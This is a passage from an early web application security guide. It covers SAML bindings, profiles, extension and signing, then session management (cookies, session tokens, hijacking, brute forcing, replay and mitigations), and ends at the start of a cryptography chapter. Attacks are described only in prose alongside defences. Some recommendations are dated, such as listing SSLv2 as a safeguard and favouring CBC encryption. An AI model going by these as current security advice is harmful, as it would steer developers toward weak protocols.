   ResponseID="128.14.234.20.90123456" InResponseTo="128.14.234.20.12345678"
   IssueInstant="2001-12-03T10:02:00Z" Recipient="...URI..."
   xmlns:samlp="urn:oasis:names:tc:SAML:1.0:protocol" >
<samlp:Status>
<samlp:StatusCode Value="samlp:Success" />
<samlp:StatusMessage>Some message</samlp:StatusMessage>
</samlp:Status>
<saml:Assertion MajorVersion="1" MinorVersion="0"
   AssertionID="128.9.167.32.12345678" Issuer="smithco.com">
<saml:Conditions NotBefore="2001-12-03T10:00:00Z"
   NotAfter="2001-12-03T10:05:00Z" />
<saml:AuthenticationStatement ...>
</saml:AuthenticationStatement>
</saml:Assertion>
</samlp:Response>
```

5.1.7. Bindings and Profiles

A binding defines how SAML Requests and Responses are mapped into a transport protocol for transport between a relying and asserting party. A profile defines how a framework or protocol can use SAML to make assertions about components or parts of that protocol or framework. SAML over SOAP is the only binding defined in the SAML spec. Although SOAP can be transferred over many transports, HTTP is the only required binding for SOAP. So SAML over SOAP over HTTP is a baseline.

SOAP is a XML based RPC (Remote Procedure Call) protocol. It is made up of three major XML elements: a root level Envelope element, a Header element that is a sub- element of Envelope, and a Body element that follows the Header element and is a sub- element of Envelope. Here is an example of how a SAML Request is passed over SOAP:

```
POST /SamlService HTTP/1.1 Host: www.example.com
Content-Type: text/xml
SOAPAction: http://www.oasis-open.org/committees/security
<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/">
<SOAP-ENV:Body>
<samlp:Request xmlns:samlp:="..." xmlns:saml="..." xmlns:ds="...">
<ds:Signature> ... </ds:Signature>
<samlp:AuthenticationQuery>
   ...
</samlp:AuthenticationQuery>
</samlp:Request>
</SOAP-ENV:Body>
</SOAP-ENV:Envelope>
```

Here is how the SAML Response is returned within a SOAP Envelope:

```
HTTP/1.1 200 OK Content-Type: text/xml
<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/">
<SOAP-ENV:Body>
<samlp:Response xmlns:samlp="..." xmlns:saml="..." xmlns:ds="...">
<Status>
<StatusCodevalue="samlp:Success"/>
</Status>
<ds:Signature> ... </ds:Signature>
<saml:Assertion>
<saml:AuthenticationStatement>
...
</saml:AuthenticationStatement>
</saml:Assertion>
</samlp:Response>
</SOAP-Env:Body>
</SOAP-ENV:Envelope>
```

There are two browser profiles for single sign-on (SSO) defined in SAML: artifact and POST. The browser/artifact profile of SAML mandates the usage of a SAML artifact in the URL of the HTTP 302 (redirect) status. The browser/POST profile of SAML uses an HTML <FORM...> to pass assertions directly to a destination site.

An artifact is a pointer to an assertion. A SAML artifact is the base 64 encoding of the TypeCode and RemainingArtifact (B64(TypeCode RemainingArtifact)). The TypeCode is a 2 byte number in hex notation (example 0x0001). The TypeCode value determines the format of the RemainingArtificact. 0x0001 is the only mandated TypeCode and is associated with a RemainingArtifact with the following format:

```
RemainingArtifact := SourceID AssertionHandle
SourceID := 20-byte_sequence
AssertionHandle := 20-byte_sequence
```

The SourceID has to be unique among all possible source sites. The SourceID is similar to an IP address but you should not use an IP address or anything that can help an attacker infer your identity. The AssertionHandle can be any value that identifies an assertion but it MUST be infeasible to construct or guess the value of a valid assertion or any part of an assertion from the AssertionHandle. An artifact is used because most Web/application servers have limitations on URL length. Lets look at the SSO profile in more depth.

The Web browser SSO profile of SAML defines a scenario where an authenticated user from a source site wants to access a resource at a destination site without having to log in again. When the user wants to access the destination site he/she selects a link which references an inter-site transfer URL. The inter-site transfer URL is located on the source site and has a mandatory Target parameter in its query string. The value that the target equals (http://www.sourcesite.com/interSiteURL?Target=ebay_Auctions_Cars) is a logical key for a resource at the destination site. The Target is a name that the source site uses to reference the resource at the destination site. The source site uses the logical key to identify the URL to the Assertion consumer at the destination site as well as the destination site's name for that resource. If the artifact profile is being used, the source site returns a HTTP 302 status to the browser with a URL that points to the assertion consumer and a TARGET parameter which defines the name for the requested resource that the destination site uses. The destination site receives the artifact and then makes an out-of-band request to the source site's artifact consumer and receives an assertion from the source site. If the destination site accepts the returned assertion, the user is allowed access to the resource.

When the POST profile is being used, the inter-site URL returns an HTML page to the browser that contains a SAML assertion. The page with the SAML assertion is then posted (by JavaScript) to the

destination site assertion consumer URL. Here is an example:

```
<HTML><Body Onload="document.forms[0].submit()">
<FORM Method="Post" Action="<assertion consumer host name and path>" ...>
<INPUT TYPE="hidden" NAME="SAMLResponse" Value="B64(<response>)">
...
<INPUT TYPE="hidden" NAME="TARGET" Value="<Target>">
</Body></HTML>
```

The destination site receives the Assertion and resource name and then allows or denies access to the destination site resource.

There are two different names for the same resource (Target and TARGET). Target is the source site's name for the remote resource. TARGET is the destination site's name for their local resource. This is done to isolate changes in one company's environment from the other. If the destination site decides to rearrange it web pages and resources, I don't have to change any code because all of my code references the local name. I just have to change the remote name that my local name is mapped to.

If your security requirements do not exactly fit within the standard SAML XML elements, you can extend SAML.

5.1.8. Extending SAML elements

There are two ways to extend SAML elements. The first is direct extension using the xsi:type attribute. The second way is through substitution groups. Depending on your XML instance requirements you will pick either option.

Direct Extension

You use direct extension when you do not want to change the physical names of the XML elements within the SAML schema and only want to add additional elements or restrict existing sub elements value ranges. Here is an example how you could define your own XML schema that extends the saml:StatementAbstractType:

```
<element name="AxiomaticKeyStatement"
type="yourPrefix:AxiomaticKeyStatementType"/>
<complexType name="AxiomaticKeyStatementType">
<complexContent>
<extension base="saml: StatementAbstractType">
<sequence>
<element ref="yourPrefix:AxiomaticKey"/>
</sequence>
</extension>
</complexContent>
</complexType>
```

Here is an actual instance of your custom extended AxiomaticKeyStatement.

```
<saml:Assertion ...>
<saml:Statement xsi:type="yourPrefix:AxiomaticKeyStatement">
<yourPrefix:AxiomaticKey>
<ds:KeyInfo>
<ds:KeyName>MasterKey</ds:KeyName>
<ds:KeyValue>
<ds:RSAKeyValue>
<ds:Modulus>998/T2PUN8HQlnhf9YIKdMHHGM7HkJwA56UD0a1oYq7EfdxSXAidruAsz
NqBoOqfarJIsfcVKLob1hGnQ/l6xw==</ds:Modulus>
<ds:Exponent>AQAB</ds:Exponent>
</ds:RSAKeyValue>
</ds:KeyValue>
</ds:KeyInfo>
</yourPrefix:AxiomaticKey>
</saml:Statement>
</saml:Assertion>
```

Notice that we extended from the base type of Statement and not from Statement directly. The xsi:type attribute is mandatory when we extend in this manner. We are still using the saml:Statement element but we have added additional elements within it. The other way we can extend SAML is through substitution groups.

Substitution Groups

Substitution groups allow you to create your own named elements and use them in place of existing SAML elements. Reusing the example from above:

```
<element name="AxiomaticKeyStatement" type="yourPrefix:AxiomaticKeyStatementType"
substitutionGroup="saml:Statement"/>
<complexType name="AxiomaticKeyStatementType">
<complexContent>
<extension base="saml: StatementAbstractType">
<sequence>
<element ref="yourPrefix:AxiomaticKey"/>
</sequence>
</extension>
</complexContent>
</complexType>
```

Here is an actual instance of your custom extended AxiomaticKeyStatement using substitution groups.

```
<saml:Assertion ...>
<yourPrefix:AxiomaticKeyStatement>
<yourPrefix:AxiomaticKey>
<ds:KeyInfo>
<ds:KeyName>MasterKey</ds:KeyName>
<ds:KeyValue>
<ds:RSAKeyValue>
<ds:Modulus>998/T2PUN8HQlnhf9YIKdMHHGM7HkJwA56UD0a1oYq7EfdxSXAidruAsz
NqBoOqfarJIsfcVKLob1hGnQ/l6xw==</ds:Modulus>
<ds:Exponent>AQAB</ds:Exponent>
</ds:RSAKeyValue>
</ds:KeyValue>
</ds:KeyInfo>
</yourPrefix:AxiomaticKey>
</yourPrefix:AxiomaticKeyStatement>
</saml:Assertion>
```

Although either method is semantically correct. Direct extension is the preferred methods because it introduces less of a dependency on the external custom schema and works with most schema validators. Although it is possible to extend any SAML element using XML Schema's extension mechanism SAML defines several explicit extension points

Where you can extend the SAML schema

- Statement

  The type it is based on is abstract and empty. You will extend from this element's type when you want to create your own type of Statement, which does not resemble any of SAML's Statement subtypes.
- SubjectStatement

  The type it is based on is abstract and has a Subject nested element.
- Condition

  The type it is based on is abstract and empty. Again you will extend from this element's type when you want to create your own type of Condition, which does not resemble any of SAML's Condition subtypes. Conditions can be extended to contain additional Condition subtypes. But if the party receiving an assertion cannot understand your custom Condition subtype then they will have to consider the assertion Indeterminate.
- Query

  The type it is based on is abstract and empty. You will extend from this element's type when you want to create your own Query type, which does not resemble any of SAML's Query subtypes.
- SubjectQuery

  The type it is based on is abstract and has a Subject nested element. You will extend this element's type when you want to create your own Query type and reuse the nested saml:Subject element.

If you need to add additional attributes or nested elements within the following elements they are feasible extension points as well:

- AuthenticationStatement
- AttributeStatement
- AuthorizationDecisionStatement
- AudienceRestrictionCondition
- Request
- AuthenticationQuery
- AuthorizationDecisionQuery
- AttributeQuery
- Response

The following elements have <any> elements within them or are of type "anyType" and therefore can serve as extension points without requiring external XML schema definition.

```
AttributeValue     (type="anyType")
Advice             (has nested element <any namespace="##other"
processContents="lax" />)
```

The Assertion and Statement types can be extended to create customized Assertion and Statement types but this can break interoperability. The major drawback to creating your own extension is interoperability. Make sure you understand the outcome if any of the interacting parties do not understand your custom extensions.

Assertions are usually signed to prove that the Assertion generated came from the entity that signed the Assertion.

5.1.9. Using Digital Signatures with SAML

XML Signature (XS) provides integrity and authentication for XML elements within a document. XS ensures certain parts of a XML document are unaltered and created by the party that signed the document. XS adds additional complexity by requiring interacting parties to negotiate canonicalization methods, key sharing, XML transformations, and hashing algorithms at the application level. In most cases, where the relying party and asserting party are communicating directly to each other, mutual authentication over SSL/TLS will provide authentication, integrity, confidentiality, and can form the basis for non-repudiation. In other cases, where intermediaries separate the relying and asserting parties XS becomes crucial.

Although any XML element within a SAML document could be signed, SAML only specifies 3 elements that should be signed: samlp:Request, samlp:Response, and saml:Assertion. SAML specifies support of enveloped signatures. Enveloped signatures describe an XML layout where the ds:Signature element is "enveloped" by the XML document or element that it is signing. The ds:Signature element in a saml:Assertion element follows the saml:Advice element.

```
<element name = "Assertion" type = "saml:AssertionAbstractType"/>
<complexType name = "AssertionAbstractType" abstract = "true">
<sequence>
<element ref = "saml:Conditions" minOccurs = "0"/>
<element ref = "saml:Advice" minOccurs = "0"/>
<element ref = "ds:Signature" minOccurs="0" maxOccurs="1"/>
</sequence>
<attribute name = "MajorVersion" use = "required" type = "integer"/>
```

```
<attribute name = "MinorVersion" use = "required" type = "integer"/>
<attribute name = "AssertionID" use = "required" type = "saml:IDType"/>
<attribute name = "Issuer" use = "required" type = "string"/>
<attribute name = "IssueInstant" use = "required" type = "timeInstant"/>
</complexType>
```

ds:Signature signs. (For details on the ds:Signature element refer to the Digital Signature section of the XML Security Chapter). Signing a samlp:Request or samlp:Response works in a similar fashion.

```
<complexType name="RequestAbstractType" abstract="true">
<attribute name="RequestID" type="saml:IDType" use="required"/>
<attribute name="MajorVersion" type="integer" use="required"/>
<attribute name="MinorVersion" type="integer" use="required"/>
<element ref = "ds:Signature" minOccurs="0" maxOccurs="1"/>
</complexType>

<complexType name="ResponseAbstractType" abstract="true">
<attribute name="ResponseID" type="saml:IDType" use="required"/>
<attribute name="InResponseTo" type="saml:IDType" use="required"/>
<attribute name="MajorVersion" type="integer" use="required"/>
<attribute name="MinorVersion" type="integer" use="required"/>
<element ref = "ds:Signature" minOccurs="0" maxOccurs="1"/>
</complexType>
```

In both cases, the ds:Signature signs the samlp:Request or samlp:Response that envelops it. In some cases a super signature can implicitly sign SAML elements. A super signature is a ds:Signature that signs a XML element which envelops all mandatory elements within a saml:Assertion, samlp:Request or samlp:Response. For example, if a samlp:Request was being transported within a SOAP-ENV:Body and that SOAP- ENV:Body element was signed then the samlp:Request inherits its signature from the super-signature on the SOAP-ENV:Body element. If a saml:Assertion needs to be sent to a relying party through an intermediary than it cannot use a super-signature and has to use the signing methods defined above.

5.1.10. Securing SAML

The best way to secure SAML interactions is to ensure confidentiality, integrity, and mutual authentication between every interacting party of a SAML transaction--weather the party is an end point or intermediary. This implies the use of a secure transport protocol such as IPSec, SSH, SSL, or TLS between all interacting parties. Exposing signed (using XML Signature) and encrypted (using XML Encryption) SAML assertions over non- secure protocols such as HTTP allows for replay and denial of service attacks.

XML Signature is still required in cases where the assertion generated flows through an intermediary. The XML Signature on the Assertion guarantees that the Assertion is from the originator (signer) not intermediary. In this case where you are using a secure transport protocol such as SSL, XMLEncryption only provides value when you don't want to share Assertion contents with intermediaries.

When you are using both XML Signature and XML Encryption together you should first sign and then encrypt the assertion being passed. This hides the identity of the signer and its key. In addition, you will want to use a CBC (cipher block chained) or stream encryption algorithm to protect against certain attacks as outlined in The Order of Encryption and Authentication for Protecting Communications by Hugo Krawczyk. For more information on XML Encryption check out the chapter on XML Encryption.

In some cases assertions are long lived and need to be stored. In most cases they should never be stored on the local file system. Ideally, long-lived assertions should be encrypted (by the database) and stored in a (UTF8 character set encoding) database. UTF8 is the defacto-encoding standard for internationalization and XML vocabularies. To minimize the possibility of Replay attacks all members of a federated authentication system will need to generate assertions with expiration dates or sequence numbers. If expiration dates are used, all participating members will need to run Network Time Protocol (NTP) to ensure assertions are not still born.

5.1.11. Weakness of Federated Security Systems

Single sign-on between disparate systems involves giving up defense in depth and opening up your application to more points of attack. In most cases you have no control over the security policies that partner sites impose. Some partner sites might allow passwords that are easily guessed or might not require users to change their password often. In other cases, partner sites may not have good security practices in general. The probably of your site being compromised becomes the probability of the worst run site in your federation.

5.1.12. Summary

SAML is showing a lot of promise. It is the first time that all of the major vendors have come together to support a single standard for sharing security related information. There are still issues to resolve like how users are mapped to different systems. Luckily the SAML group is working on this for 2.0 which will be released soon.

Chapter 6. Session Management

6.1. Introduction

Normal applications have the innate ability to work with local data ("state") which is held by the operating system for the duration of the program's run, such as global, heap and stack variables. This is not how web applications work; the web server serves up pages in response to client requests. By design, the web server is free to forget everything about pages it has rendered in the past as there's no explicit state.

This works well when rendering static content, such as a brochure or image, but not so well when you want to do real work, such as filling out a form or if you have multiple users you need to keep separate, such as in an online banking application.

Web servers are extended by application frameworks, such as J2EE or ASP.NET, implementing a state management scheme tying individual user's requests into a "session" by tying a cryptographically unique random value stored in a cookie (or elsewhere within client submitted data) against state held on the server, thus giving users the appearance of a stateful web-based application. Being able to separate and recognize each user's actions to specific sessions is critical to web security.

Although most users of this guide will be using an application framework with built in session management capabilities, others will use languages such as Perl CGI which do not. They are at an immediate disadvantage as they have to re-invent the wheel for no good reason. In the author's experience with source reviews and penetration tests, these implementations are invariably weak and breakable. Another very common mistake is to implement a weak session management scheme on top of a strong one. It is theoretically possible to write and use a cryptographically secure session management scheme, which is the focus of this chapter. However, for mere mortals, it cannot be stressed highly enough to use an application framework which has adequate session management. There is no value in re-writing such basic building blocks.

Application frameworks such as J2EE, PHP, ASP and ASP.NET take care of much of the low level session management details and allow fine level control at a programmatic level, rather than at a server configuration level. For example, ASP.NET uses an encrypted "view state" mechanism, which renders as a hidden field in each page. This view state can be used to transmit variables, web control locations, and so on. Using programmatic means, it's possible to include or exclude a variable from the view state, particularly if you don't need the state to be available between different pages of the same application. This can save download time, reduce bandwidth, and improve execution times.

Careful management of the view state is the difference between a well optimized application, and one that "just works."

6.1.1. Session authentication

Session management is by its nature closely tied to authentication, but this does not mean users should be considered authenticated until the web application has taken positive action to tie a session with a trusted credential or other authentication token.

For example, just connecting to a PHP application will issue every end user with a PHPSessionID cookie, but that does not mean that users should be trusted or you should ship them goods. Only once they have proven that they are known to your web application should they be trusted, and even then.

Typically, the average web application will present the user with a logon page or field. The user authenticates with the application by filling in the form. The application processes the logon request, and if successful, ties the session ID with the credential by either maintaining a small cache of state on the web server (typical of application frameworks), or by sending down some identifying session token to the end user's browser. To the end user, this appears as being "logged on" to the application as they no longer have to manually assert their credentials to the application on each page they use. For most users, this is all they care about, but there are many traps for the unwary web developer.

6.1.2. Cookies

Love 'em or loathe them, cookies are now a prerequisite to use many online banking and e-commerce sites. Cookies were never designed to store secrets, such as usernames and passwords or any sensitive information, but were instead initially used to hold information such as the last visit time or user preferences. Web developers need to understand this design decision as it is helpful in understanding how to minimize the risk of use of cookies and other session objects.

Cookies were originally introduced by Netscape and are now specified in RFC 2965 (superseding RFC 2109), with RFC 2964 and BCP44 offering guidance on best practice. There are several categories of cookies:

- Persistent and Secure
- Persistent and Non-Secure
- Non-Persistent and Secure
- Non-Persistent and Non-Secure

6.1.2.1. Persistent vs. Non-Persistent

Persistent cookies are stored in a text file (cookies.txt under Netscape and multiple *.txt files for Internet Explorer) on the client and are valid until the cookie's expiry date falls due. Non-Persistent cookies are stored in RAM on the client and are destroyed when the browser is closed or the cookie is explicitly killed by a log-off script. However, this does not mean that non-persistent cookies are safe; any information obtained from the client should be treated with care.

6.1.2.2. Secure vs. Non-Secure

Secure cookies can only be sent over HTTPS (SSL). Non-Secure cookies can be sent over HTTPS or regular HTTP. The title of secure is somewhat misleading. It only enforces transport security for the cookie. Any data sent to the client should be considered under the total control of the end user, regardless of the transport mechanism in use.

6.1.2.3. How do Cookies work?

Cookies enable a server and browser to pass information among themselves, even between reboots if persistent cookies are used. As discussed above, HTTP is stateless. Setting a cookie is like marking a client with a rubber stamp, saying "show this to me next time you ask for a page."

But this persistent marking presents a problem if two people use the same client computer, they share the same cookies. This is particularly troublesome when using online banking applications at Internet cafes, or worse, when sending romantic messages to a personals site when your wife is around. Surprisingly many web applications do not think about this shared exposure, and yet its solution a logout button which clears the session state is painfully obvious.

In an effort to protect your privacy, the original implementation of cookies made it such that cookies are not shared across DNS domains. When everything works to plan, Domain A (say evilattacker.com) can't read or write to Domain B's (say bank.com's) cookies. This also extends to URL paths in the same domain; for example, www.example.com/foo/ can not read or write to www.example.com/blah/ cookies. This can present a problem to a web application nested in the server's directory hierarchy to read cookies from other hierarchies unless the cookies are defined as usable domain wide, although for many people who share the same web server this is actually a blessing. Note that there have been cookie handling vulnerabilities in most popular web clients, particularly in relation to DNS and directory restrictions, so don't expect cookies to be completely safe, even when you're doing exactly the right thing. Remember, by design, cookies are not for secrets.

Cookies can be set using two main methods: HTTP headers and JavaScript. The server method sends a Cookie HTTP header to the client, and the client remembers this according to the cookie's parameters. This header tells the client to add this information to the client's cookies file or store the information in RAM. Alternatively, using JavaScript is becoming a popular way to set and read cookies as some "security" proxies will filter out cookies in the HTTP header. JavaScript on the other hand can be deactivated in the user's browser and a script setting or reading such a cookie will therefore never work.

Once a cookie is set, all page requests to the cookie domain (the URL and any trailing path) from the user's browser will include the cookie information set by the server's previous response.

6.1.2.4. What's in a cookie?

The content of a cookie is at the total discretion of the developer, but that only lasts until the client gets it. Once a client has the cookie contents, they can change it in any way they like, which is a very popular

attack technique.

A typical cookie used to store a session token (owasp.org for example) looks much like: Table 13-1. Structure Of A Cookie The columns below illustrate the six parameters that can be stored in a cookie:

- domain:

  The website domain that created and that can read the variable.
- flag:

  A TRUE/FALSE value indicating whether all machines within a given domain can access the variable.
- path:

  The path attribute supplies a URL range for which the cookie is valid. If path is set to /reference, the cookie will be sent for URLs in /reference as well as sub-directories such as/reference/web protocols. A pathname of " / " indicates that the cookie will be used for all URLs at the site from which the cookie originated.
- secure:

  A TRUE/FALSE value indicating if an SSL connection with the domain is needed to access the variable.
- expiration:

  The Unix time that the variable will expire on. Unix time is defined as the number of seconds since 00:00:00 GMT on Jan 1, 1970. Omitting the expiration date signals to the browser to store the cookie only in memory; it will be erased when the browser is closed.
- name:

  The name of the variable (in this case Apache).

  So the above cookie value of Apache equals 64.3.40.151.16018996349247480 and is set to expire on July 27, 2006, for the website domain at http://www.owasp.org.

  The website sets the cookie in the user's browser in plaintext in the HTTP stream like this:
- Set-Cookie:

  Apache="64.3.40.151.16018996349247480"; path="/"; domain="www.owasp.org"; path_spec; expires="2006-07-27 19:39:15Z"; version=0

  All spec-compliant browsers must be capable of holding at least 4K of cookie data per host or domain. All

spec-compliant browsers must be capable of holding at least 20 distinct cookies per host or domain.

6.1.3. Session Tokens

Cookies are fine things to have at your disposal, particularly if you just wish to store things like "the background is green". But for more serious uses, it's vital to be able to tie a user to a session. This is done via the use of session tokens.

Simple (but not recommended) session tokens may include a number increasing by one, so that user "hjsimpson" is tied to session id 1, user "msimpson" is tied to session id 2, assuming Homer logged on first and Marge logged on shortly thereafter from the study. This scheme is ridiculously easy to defeat, but unfortunately you will still see it used from time to time.

To be safe, a session token should contain enough random characters or digits, must not be predictable and must offer enough entropy (randomness) that it can not be computed for the duration of the session. Session tokens are typically stored in cookies. They also can be stored in static URL's, dynamically rewritten URL's, "hidden" in the HTML of a web page, or some combination of these methods. The safest place from naÃ¯ve users (rather than seasoned attackers) is in non-persistent cookies, followed by hidden form fields.

As most web application frameworks have matured (read: battle scarred) over the last few years, these sort of session management issues have nearly all but disappeared if you use the pre-canned methods provided by the framework. Unless you have a very special reason and know what you're doing, it's best to leave it to your servlet engine, PHP or ASP.NET to manage your sessions.

However, all is not rosy even with decent session management schemes. It's possible to capture session tokens, say for example if they are in the URL of the request (also known as the query string in many application frameworks). Simply using a URL with an embedded session token will make you that user, assuming the session hasn't timed out or the session is not checked against a source IP address, or similar. Also, session tokens which never change for a user could be at risk if the user uses a shared computer. Luckily, there are solutions to these problems.

6.1.3.1. Cryptographic Algorithms for Session Tokens

All session tokens (independent of the state mechanisms) should be user unique, non-predictable, and resistant to reverse engineering. A trusted source of randomness should be used to create the token (like a pseudo-random number generator, Yarrow, EGADS, etc.). Additionally, for more security, session tokens should be tied in some way to a specific HTTP client instance to prevent hijacking and replay attacks. Examples of mechanisms for enforcing this restriction may be the use of page tokens which are unique for any generated page and may be tied to session tokens on the server. In general, a session token algorithm should never be based on or use as variables any user personal information (user name, password, home address, etc.)

6.1.3.2. Appropriate Key Space

Even the cryptographically secure algorithms allows an active session token to be easily determined if the keyspace of the token is not sufficiently large. Attackers can essentially "grind" through most possibilities in the token's key space with automated brute force scripts. A token's key space should be sufficiently large enough to prevent these types of brute force attacks, keeping in mind that computation and bandwidth capacity increases will make these numbers insufficient over time.

6.1.3.3. Session Token Entropy

The session token should use the largest character set available to it. If a session token is made up of say 8 characters of 7 bits the effective key length is 56 bits. However if the character set is made up of only integers which can be represented in 4 bits giving a key space of only 32 bits. A good session token should use all the available character set including case sensitivity.

6.1.4. Session Management Schemes

A good session management scheme should consider the following rules.

6.1.4.1. Session Time-out

Session tokens that do not expire on the HTTP server can allow an attacker unlimited time to guess or brute force a valid authenticated session token. An example is the "Remember Me" option on many retail websites. If a user's cookie file is captured or brute-forced, then an attacker can use these static-session tokens to gain access to that user's web accounts. Additionally, session tokens can be potentially logged and cached in proxy servers that, if broken into by an attacker, may contain similar sorts of information in logs that can be exploited if the particular session has not been expired on the HTTP server.

If the user is not at a computer where he is logged in with his name and the operating system is protecting his cookies. However, if he is in say a public library where every user can access the cookies, it is possible that the next user can take over the previous user's identity. It will be very difficult for the first user to convince the bank's card services that he is not guilty of violating credit card security precautions.

6.1.4.2. Regeneration of Session Tokens

To reduce the risk from session hijacking and brute force attacks, the HTTP server can seamlessly expire and regenerate tokens. This shortens the window of opportunity for a replay or brute force attack. Token regeneration should be performed based on number of requests (high value sites) or as a function of time, say every 20 minutes.

6.1.4.3. Session Forging/Brute-Forcing Detection and/or Lockout

Many websites have prohibitions against unrestrained password guessing (e.g., it can temporarily lock the account or stop listening to the IP address), however an attacker can often try hundreds or thousands of session tokens embedded in a legitimate URL or cookie without a single complaint from the web site. Many intrusion-detection systems do not actively look for this type of attack; penetration tests also often overlook this weakness in web e-commerce systems. Designers can use "booby trapped" session tokens that never actually get assigned but will detect if an attacker is trying to brute force a range of tokens. Resulting actions could be:

- Go slow or ban the originating IP address (which can be troublesome as more and more ISPs are using transparent caches to reduce their costs. Because of this: always check the "proxy_via" header)
- Lock out an account if you're aware of it (which may cause a user a potential denial of service).

Anomaly/misuse detection hooks can also be built in to detect if an authenticated user tries to manipulate their token to gain elevated privileges.

There are Apache modules, such as mod_dosevasive and mod_security, which could be used for this kind of protection. Although mod_dosevasive is used to lessen the effect of DoS attacks, it could be rewritten for other purposes as well .

6.1.4.4. Session Re-Authentication

Critical user actions such as money transfer or significant purchase decisions should require the user to re-authenticate or be reissued another session token immediately prior to significant actions. This ensures user authentication (and not entity authentication) when performing sensitive tasks. Developers can also somewhat segment data and user actions to the extent where re-authentication is required upon crossing certain trust boundaries to prevent some types of cross-site scripting attacks that exploit user accounts.

6.1.4.5. Session Token Transmission

If a session token is captured in transit through network interception, a web application account is then trivially prone to a replay or hijacking attack. Typical web encryption technologies include but are not limited to Secure Sockets Layer (SSLv2/v3) and Transport Layer Security (TLS v1) protocols in order to safeguard the state mechanism token.

6.1.4.6. Session Tokens on Logout

With the popularity of Internet Kiosks and shared computing environments on the rise, session tokens take on a new risk. A browser only destroys session cookies when the browser thread is torn down. Most Internet kiosks maintain the same browser thread. It is therefore a good idea to overwrite session cookies when the user logs out of the application.

6.1.4.7. Page Tokens

Page specific tokens or "nonces" may be used in conjunction with session specific tokens to provide a measure of authenticity when dealing with client requests. Used in conjunction with transport layer security mechanisms, page tokens can aide in ensuring that the client on the other end of the session is indeed the same client which requested the last page in a given session. Page tokens are often stored in cookies or query strings and should be completely random. It is possible to avoid sending session token information to the client entirely through the use of page tokens, by creating a mapping between them on the server side, this technique should further increase the difficulty in brute forcing session authentication tokens.

6.1.5. Attacking Sessions

There are a few possibilities to attack session systems.

6.1.5.1. Session Hijacking

When an attacker intercepts or creates a suitable and valid session token on the server, they can then impersonate another user. Session hijacking can be mitigated partially by providing adequate anti-hijacking controls in your application. The level of these controls should be influenced by the risk to your organization or the client's data; for example an online banking application needs to take more care than a application displaying cinema session times.

The easiest type of web application to hijack are those using URL based session tokens, particularly those without expiry. This is particularly dangerous on shared computers, such as Internet cafés or public Internet kiosks where is nearly impossible to clear the cache or delete browsing history due to lockdowns. To attack these applications, simply open the browser's history and click on the web application's URL. Voila, you're the previous user.

6.1.5.1.1. Mitigation Techniques

- Provide a method for users to log out of your application. Logging out should clear all session state and remove or invalidate any residual cookies.
- Set short expiry times on persistent cookies, no more than a day or preferably use non-persistent cookies.
- Do not store session tokens in the URL or other trivially modified data entry point.

6.1.5.2. Session Authentication Attacks

One of the most common mistakes is not checking authorization prior to performing a restricted function or accessing data. Just because a user has a session does not authorize them to use all of the application or see all of the data. Imagine a bank web site that allowed you to see anyone else's account?

A particularly embarrassing real life example is the Australian Taxation Office's GST web site, where most Australian companies electronically submit their quarterly tax returns. The ATO uses client-side certificates as authentication. Sounds secure, right? However, this particular web site initially had the ABN (a unique number, sort of like a social security number for companies) in the URL. These numbers are not secret and they are not random. A user worked this out, and tried another company's ABN. To his surprise it worked, and he was able to view the other company's details. He then wrote a script to mine the database and mail each company's nominated e-mail address, notifying each company that the ATO had a serious security flaw. More than 17,000 organizations received e-mails.

6.1.5.2.1. Mitigation Techniques

- Always check that the currently logged on user has the authorization to access, update or delete data or access certain functions.

6.1.5.3. Session Validation Attacks

Just like any data, the session variable must be validated to ensure that is of the right form, contains no unexpected characters, and is in the valid session table.

In one penetration test the author conducted, it was possible to use null bytes to truncate session objects and due to coding errors in the session handler, it only compared the length of the shortest string. Therefore, a one character session variable was matched and allowed the tester to break session handling. During another test, the session handling code allowed any characters.

6.1.5.3.1. Mitigation Techniques

- Always check that the currently logged on user has the authorization to access, update or delete data or access certain functions.

6.1.5.4. Man in the middle attacks

In a man in the middle (MITM) attack, the attacker tries to insert themselves between the server and the client. Acting as the client for the server and acting as a server for the client. So all data sent from the client to the real server is not going directly but though the attacker. It is very difficult for the client and server to detect this attack.

6.1.5.4.1. Mitigation Techniques

- Use SSL, especially for sites with privacy or high value transactions.

  One of the properties of SSL is that it authenticates the server to the clients, with most browsers objecting to certificates that do not have adequate intermediate trust or if the certificate does not match the DNS address of the server. This is not fully protection, but it will defeat many naÃ¯ve attacks.

  Sensitive site operations, such as administration, logon, and private data viewing / updating should be protected by SSL in any case.

6.1.5.5. Brute forcing

There are some e-Commerce sites out there which use consecutive numbers or trivially predictable algorithms for session IDs. On these sites, it is easy to change to another likely session ID and thus become someone else. Usually, all of the functions available to users work, with obvious privacy and fraud issues arising.

6.1.5.5.1. Mitigation Techniques

- Use a cryptographically sound token generation algorithm. Do not create your own algorithm, and seed the algorithm in a safe fashion. Or just use your application framework's inbuilt session management functions.
- Preferably send the token to the client in a non-persistent cookie or within a hidden form field within the rendered page.
- Put in "telltale" token values so you can detect brute forcing.
- Limit the number of unique session tokens you see from the same IP address (ie 20 in the last five minutes).
- Periodically regenerate tokens to reduce the window of opportunity for brute forcing.
- If you are able to detect a brute force attempt, completely clear session state to prevent that session from being used again.

6.1.5.6. Session token replay

Session replay attacks are simple if the attacker is in a position to record a session. The attacker will record the session between the client and the server and replay the client's part afterwards to successfully attack the server. This attack only works if the authentication mechanism does not use random values to prevent this attack.

6.1.5.6.1. Mitigation Techniques

- Use session token timeouts and token regeneration to reduce the window of opportunity to replay tokens.
- Use a cryptographically well seeded pseudo random number generator to generate session tokens, or just use your application framework to generate them for you.
- Use non-persistent cookies to store the session token, or at worst, a hidden field on the form.
-

6.2. Summary

Session management is the fundamental building block of application security. Without decent session management, an application that correctly utilizes all other web application security measures will fall prey to attackers.

When implementing session management:

- Work through the risks to your application and understand if session hijacking, man in the middle attacks, replay attacks, or session manipulation attacks need to be mitigated. If so, use the techniques presented here to do so.
- Determine if your chosen application framework satisfies the requirements for safe session handling, and if so,

use it. Most do.

- Optimize your session handling to reduce the risk from the various attacks, as well as reducing the overall size of session state.
- Under no circumstances should you design your own crypto algorithm (unless you are Bruce Schneier) or session handling algorithm. They are incredibly hard to get right and you almost certainly fall to low level attacks.

Most of all, don't just believe the documentation. Get out there and test your application for security vulnerabilities. If you don't, someone else will.

Chapter 7. Cryptography

7.1. Overview

Initialy the realm of academia, cryptography has become ubiquitous thanks to the Internet. Whether SSL or biometrics, cryptography has permeated through everyday language and through most web development projects.
